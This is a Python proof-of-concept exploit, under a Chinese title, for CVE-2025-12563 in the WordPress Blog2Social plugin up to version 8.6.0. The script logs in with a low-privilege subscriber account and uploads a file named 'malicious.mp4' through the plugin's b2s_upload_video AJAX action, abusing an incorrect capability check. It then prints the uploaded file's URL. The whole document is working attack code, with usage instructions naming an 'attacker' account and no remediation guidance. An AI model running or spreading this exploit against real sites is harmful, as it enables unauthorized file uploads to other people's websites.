CVE-2025-12563 WordPress Blog2Social插件有限文件上传漏洞

#!/usr/bin/env python3 """ CVE-2025-12563 PoC - Blog2Social Plugin File Upload Vulnerability Affected: Blog2Social <= 8.6.0 Type: Incorrect Capability Check leading to Limited File Upload """ import requests import sys from urllib.parse import urljoin def exploit_cve_2025_12563(target_url, username, password, mp4_file_path): """ Exploit for Blog2Social uploadVideo() function privilege escalation Requirements: - Valid WordPress subscriber+ account - MP4 file to upload """ # Setup session session = requests.Session() # Login to WordPress login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f'[*] Logging in as {username}...') response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in str(session.cookies): print('[-] Login failed!') return False print('[+] Login successful!') # Prepare MP4 file upload upload_url = urljoin(target_url, '/wp-admin/admin-ajax.php') with open(mp4_file_path, 'rb') as f: mp4_content = f.read() # Construct multipart form data for uploadVideo() files = { 'file': ('malicious.mp4', mp4_content, 'video/mp4'), } data = { 'action': 'b2s_upload_video', 'post_id': '0' } print(f'[*] Uploading MP4 file to {target_url}...') response = session.post(upload_url, data=data, files=files) if response.status_code == 200: result = response.json() if response.headers.get('content-type', '').find('json') != -1 else {} if result.get('success') or 'url' in result: upload_url = result.get('url', 'Unknown') print(f'[+] File uploaded successfully!') print(f'[+] File URL: {upload_url}') return True elif 'error' in result: print(f'[-] Upload failed: {result["error"]}') return False print(f'[*] Response: {response.status_code}') print(f'[*] Response body: {response.text[:500]}') return False if __name__ == '__main__': if len(sys.argv) < 5: print('Usage: python cve-2025-12563.py <target_url> <username> <password> <mp4_file>') print('Example: python cve-2025-12563.py http://example.com/ attacker password malicious.mp4') sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] mp4 = sys.argv[4] exploit_cve_2025_12563(target, user, pwd, mp4)